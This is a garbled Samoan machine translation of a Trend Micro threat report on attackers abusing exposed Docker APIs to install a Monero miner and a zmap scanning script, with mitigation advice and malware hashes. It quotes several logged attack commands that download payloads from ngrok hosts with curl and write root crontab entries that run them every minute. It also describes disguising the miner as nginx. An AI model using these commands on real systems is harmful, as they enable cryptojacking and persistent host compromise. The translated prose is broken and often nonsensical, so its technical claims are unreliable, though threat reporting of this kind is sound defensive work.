Na matou suʻesuʻeina faʻamaumauga na aoina e faʻaaoga ai pusa honeypot, lea na matou faia e siaki ai faʻamataʻu. Ma na matou mauaina ni gaioiga taua mai tagata e le manaʻomia pe le faʻatagaina cryptocurrency na faʻapipiʻiina e avea ma pusa faʻatau e faʻaaoga ai se ata faʻasalalau faʻalapotopotoga ile Docker Hub. O le ata o loʻo faʻaaogaina e avea o se vaega o se auaunaga e tuʻuina atu ai le taufaaleaga leaga o le cryptocurrency miners.
E le gata i lea, o polokalame mo le galulue faatasi ma fesoʻotaʻiga o loʻo faʻapipiʻiina e ulu i totonu o pusa lata ane ma faʻaoga.
Matou te tuʻua a matou honeypots e pei ona i ai, o lona uiga, faʻatasi ai ma tulaga faʻaletonu, e aunoa ma soʻo se puipuiga poʻo le faʻapipiʻiina mulimuli ane o polokalama faʻaopoopo. Faamolemole ia matau o Docker ei ai fautuaga mo le seti muamua e aloese ai mai mea sese ma faigofie faigofie. Ae o pusa meli na faʻaaogaina o koneteina, ua fuafuaina e iloa ai osofaʻiga e faʻatatau i luga o le containerization platform, ae le o talosaga i totonu o container.
O le gaioiga leaga ua iloa e iloga foi ona e le manaʻomia ni faʻafitauli ma e tutoatasi foi mai le Docker version. O le su'eina o se mea e le sa'o le fa'atulagaina, ma o le mea lea e tatala ai, ata atigipusa na o le pau lea o le mea e mana'omia e le au osofa'i e a'afia ai le tele o sapalai tatala.
Ole Docker API e leʻi tapunia e mafai ai e le tagata faʻaoga ona faʻatino le tele o , e aofia ai le mauaina o se lisi o pusa taʻavale, mauaina o ogalaau mai se atigipusa patino, amata, taofi (e aofia ai le faʻamalosi) ma e oʻo lava i le fatuina o se pusa fou mai se ata faʻapitoa ma faʻatulagaina faʻapitoa.
I le agavale o lo'o iai le auala e tu'uina atu ai mea leaga. I le itu taumatau o loʻo iai le siʻosiʻomaga o le tagata osofaʻi, lea e mafai ai ona taʻavale mamao ese mai ata.
Tufatufaina e le atunuu o 3762 tatala Docker APIs. Faʻavae i luga ole suʻesuʻega a Shodan aso 12.02.2019/XNUMX/XNUMX
Filifiliga filifili ma uta
O gaioiga leaga na iloa e le gata i le fesoasoani a honeypots. Faʻamatalaga mai Shodan o loʻo faʻaalia ai o le numera o faʻaalia Docker APIs (silasila i le kalafi lona lua) ua faʻateleina talu ona matou suʻesuʻeina se pusa faʻaoga sese na faʻaaogaina e fai ma alalaupapa e faʻaogaina ai Monero cryptocurrency mining software. Ia Oketopa i le tausaga talu ai (2018, faʻamatalaga lata mai tusa. faaliliu) e na'o le 856 API na tatala.
O se su'esu'ega o ogalaau o le honeypot na iloa ai o le fa'aogaina o ata o pusa e feso'ota'i ma le fa'aogaina o , o se meafaigaluega mo le faʻamautuina o fesoʻotaʻiga saogalemu poʻo le faʻasalalauina o fefaʻatauaiga mai nofoaga e mafai ona maua e le lautele i tuatusi faʻapitoa poʻo punaoa (mo se faʻataʻitaʻiga localhost). O lenei mea e mafai ai e le au osofaʻi ona faia faʻamalosi URL pe a tuʻuina atu le uta i se server tatala. Lalo o faʻataʻitaʻiga faʻailoga mai ogalaau e faʻaalia ai le faʻaleagaina o le auaunaga ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”E pei ona mafai ona e vaʻai, o faila faʻapipiʻi e sii mai mai le suia pea o URL. O nei URL e puupuu le aso e muta ai, o lea e le mafai ai ona la'uina uta pe a uma le aso e muta ai.
E lua filifiliga totogi. Muamua o se ELF miner tuʻufaʻatasia mo Linux (faʻamatalaina o Coinminer.SH.MALXMR.ATNO) e fesoʻotaʻi i le vaitaʻele. O le lona lua o se tusitusiga (TrojanSpy.SH.ZNETMAP.A) ua mamanuina e maua ai ni meafaigaluega fesoʻotaʻiga e faʻaaogaina e suʻesuʻe ai laina fesoʻotaʻiga ona suʻe lea mo sini fou.
O le dropper script e setiina ni fesuiaiga se lua, ona faʻaaogaina lea e faʻapipiʻi ai le cryptocurrency miner. O le fesuiaiga o le HOST o loʻo i ai le URL o loʻo i ai faila leaga, ma o le fesuiaiga o le RIP o le igoa faila (i le mea moni, le hash) o le miner e faʻapipiʻiina. Ole suiga ole HOST e suia i taimi uma e suia ai le suiga ole hash. O loʻo taumafai foi le tusitusiga e siaki e leai se isi tagata miners cryptocurrency o loʻo tamoe i luga o le server osofaʻi.
Fa'ata'ita'iga o fesuiaiga o le HOST ma le RIP, fa'apea fo'i ma se snippet code na fa'aoga e siaki ai e leai se isi miners o lo'o tamoe.
Aʻo leʻi amataina le miner, ua toe faʻaigoaina i le nginx. O isi fa'aliliuga o lenei tusitusiga toe fa'aigoa le miner i isi auaunaga fa'aletulafono e ono iai i totonu ole siosiomaga Linux. E masani lava ona lava lea e pasi ai siaki fa'asaga i le lisi o faiga fa'agasolo.
O lo'o iai fo'i fa'ailoga o le su'esu'ega. E galue faʻatasi ma le URL tutusa e faʻapipiʻi meafaigaluega talafeagai. Faatasi ai ma i latou o le zmap binary, lea e faʻaaogaina e suʻesuʻe ai fesoʻotaʻiga ma maua se lisi o avanoa tatala. O loʻo faʻapipiʻiina foi e le tusitusiga se isi binary e faʻaaogaina e fegalegaleai ai ma auʻaunaga na maua ma maua fuʻa mai ia i latou e fuafua ai faʻamatalaga faaopoopo e uiga i le auaunaga na maua (mo se faʻataʻitaʻiga, lona faʻasologa).
O lo'o mua'i fa'atulaga fo'i e le tusitusiga nisi o feso'ota'iga e va'aia, ae fa'alagolago i le fa'aliliuga o le tusitusiga. O loʻo faʻatulagaina foʻi ports taulaʻi mai auaunaga-i lenei tulaga, Docker-aʻo leʻi faia le suʻega.
O le taimi lava e maua ai sini, e otometi lava ona aveese fuʻa mai ia i latou. O loʻo faʻapipiʻiina foi e le tusitusiga faʻamoemoega e faʻatatau i auaunaga, talosaga, vaega poʻo faʻavae e fiafia i ai: Redis, Jenkins, Drupal, MODX, , Docker 1.16 client ma Apache CouchDB. Afai o le 'au'aunaga su'esu'e e fetaui ma so'o se tasi oi latou, o lo'o fa'asaoina i totonu o se faila faila, lea e mafai e tagata osofa'i ona fa'aaoga mulimuli ane mo su'esu'ega ma le hacking. O nei faila faila o loʻo tuʻuina atu i 'auʻaunaga a le au osofaʻi e ala i fesoʻotaʻiga malosi. O lona uiga, o se URL ese'ese e fa'aogaina mo faila ta'itasi, o lona uiga e faigata le avanoa mulimuli ane.
O le osofaʻiga osofaʻiga o se ata Docker, e pei ona mafai ona vaʻaia i le isi lua fasi tulafono.
I le pito i luga o loʻo toe faʻaigoaina i se auaunaga talafeagai, ma i le pito i lalo o loʻo faʻaogaina ai le zmap e suʻe ai fesoʻotaʻiga.
I le pito i luga o loʻo faʻavasegaina laina fesoʻotaʻiga, i le pito i lalo o vaʻa faʻapitoa mo le suʻeina o auaunaga, e aofia ai Docker
O le faʻamalama o loʻo faʻaalia ai o le ata alpine-curl ua sili atu i le 10 miliona taimi na sii mai ai
Faʻavae i luga o Alpine Linux ma curl, o se meafaigaluega CLI e faʻaogaina punaoa mo le fesiitaiga o faila i luga o tulafono eseese, e mafai ona e fausia. . E pei ona mafai ona e vaʻai i le ata muamua, o lenei ata ua uma ona sii mai i luga o le 10 miliona taimi. Ole tele ole laiga ole fa'auiga ole fa'aogaina o lenei ata e fa'aulu ai le ata lea i le sili atu i le ono masina talu ai e le'i fa'apipi'iina e tagata fa'aoga isi ata mai lenei fa'amaumauga; I Docker - o se seti o faʻatonuga e faʻaogaina e faʻapipiʻi ai se pusa e faʻatautaia ai. Afai e le sa'o le fa'atulagaina o mea e ulufale ai (mo se fa'ata'ita'iga, o lo'o tu'u tatala le atigipusa mai le Initaneti), e mafai ona fa'aogaina le ata e fai ma fa'a osofa'iga. E mafai e le au osofa'i ona fa'aogaina e momoli ai se uta pe a latou maua se atigipusa ua fa'aletonu pe matala e le'i lagolagoina.
E taua le maitauina o lenei ata (alpine-curl) lava ia e le o se mea leaga, ae pei ona e vaʻai i luga, e mafai ona faʻaaogaina e faʻatino ai galuega leaga. E mafai fo'i ona fa'aoga ata fa'atusa a Docker e fa'atino ai gaioiga leaga. Na matou faʻafesoʻotaʻi Docker ma galulue faʻatasi ma i latou i lenei mataupu.
fautuaga
mea totoe mo le tele o kamupani, aemaise lava i latou o loʻo faʻatinoina , taulaʻi i le atinaʻe vave ma le tuʻuina atu. O mea uma e faʻateleina ona o le manaʻoga e usitaʻia tulafono suʻesuʻe ma mataʻituina, manaʻoga e mataʻituina faʻamatalaga faʻalilolilo, faʻapea foʻi ma le tele o faʻaleagaina mai lo latou le tausisia. O le tu'ufa'atasia o masini saogalemu i totonu o le atina'e o le olaga e le gata e fesoasoani ia te oe e su'e ai pupuni e ono le iloa, ae e fesoasoani foi ia te oe e fa'aitiitia le mamafa o galuega, e pei o le fa'aogaina o polokalama faakomepiuta fa'aopoopo mo fa'afitauli ta'itasi e maua po'o le fa'aseseina pe a uma ona tu'uina atu se talosaga.
O le mea na tupu o loʻo talanoaina i lenei tusiga o loʻo faʻamaonia ai le manaʻomia ona amanaia le saogalemu mai le amataga, e aofia ai fautuaga nei:
- Mo faʻatonuga faʻapitoa ma atinaʻe: Siaki i taimi uma au faʻatulagaga API ia mautinoa o mea uma e faʻapipiʻiina e naʻo le taliaina o talosaga mai se server patino poʻo fesoʻotaʻiga i totonu.
- Mulimuli i le mataupu faavae o aia tatau: faʻamautinoa o loʻo sainia ma faʻamaonia ata o pusa, faʻatapulaʻa le avanoa i vaega taua (auaunaga faʻalauiloa pusa) ma faʻapipiʻi faʻamatalaga i fesoʻotaʻiga fesoʻotaʻiga.
- Mulimuli ma fa'agaoioi faiga fa'apolofesa, fa'ata'ita'iga. ma fausia-i totonu .
- Fa'aaogā su'esu'ega otometi o taimi fa'agasolo ma ata e maua mai ai fa'amatalaga fa'aopoopo e uiga i fa'agaioiga o lo'o fa'agasolo i totonu o le koneteina (mo se fa'ata'ita'iga, e iloa ai le fa'a'ole'ole po'o le su'eina o mea fa'aletonu). O le fa'atonuina o le fa'aoga ma le mata'ituina o le fa'amaoni e fesoasoani e siaki ai suiga fa'aletonu i 'au'aunaga, faila, ma vaega o faiga.
E fesoasoani le Trendmicro i 'au a DevOps e fausia ma le saogalemu, taʻavale vave, ma faʻalauiloa i soo se mea. Trend Micro Tuuina atu le saogalemu mamana, faʻafaigofie, ma faʻaautomatika i luga o le paipa DevOps a le faʻalapotopotoga ma tuʻuina atu le tele o puipuiga faʻamataʻu. e puipuia ai galuega fa'aletino, va'aiga ma ao i taimi ta'avale. E fa'aopoopoina fo'i le puipuiga o pusa ma и , lea e suʻesuʻe ata Docker container mo mea leaga ma faʻafitauli i soʻo se itu i le atinaʻe paipa e puipuia ai faʻamataʻu aʻo leʻi tuʻuina atu.
Faailoga o le fetuutuunai
Hashes fa'atatau:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
i Faʻataʻitaʻi failauga faʻaalia mea e manaʻomia ona fai muamua ina ia faʻaitiitia ai le faʻalavelave pe aloese atoa mai le tupu o le tulaga o loʻo faʻamatalaina i luga. Ma ia Aukuso 19-21 i se initaneti malosi E mafai ona e fa'atalanoaina nei fa'afitauli ma fa'afitauli fa'apena fa'apena fa'atasi ma au uo ma faia'oga fa'ata'ita'i i se laulau lapotopoto, lea e mafai ai e tagata uma ona tautala ma fa'alogo i tiga ma manuia o pa'aga poto masani.
puna: www.habr.com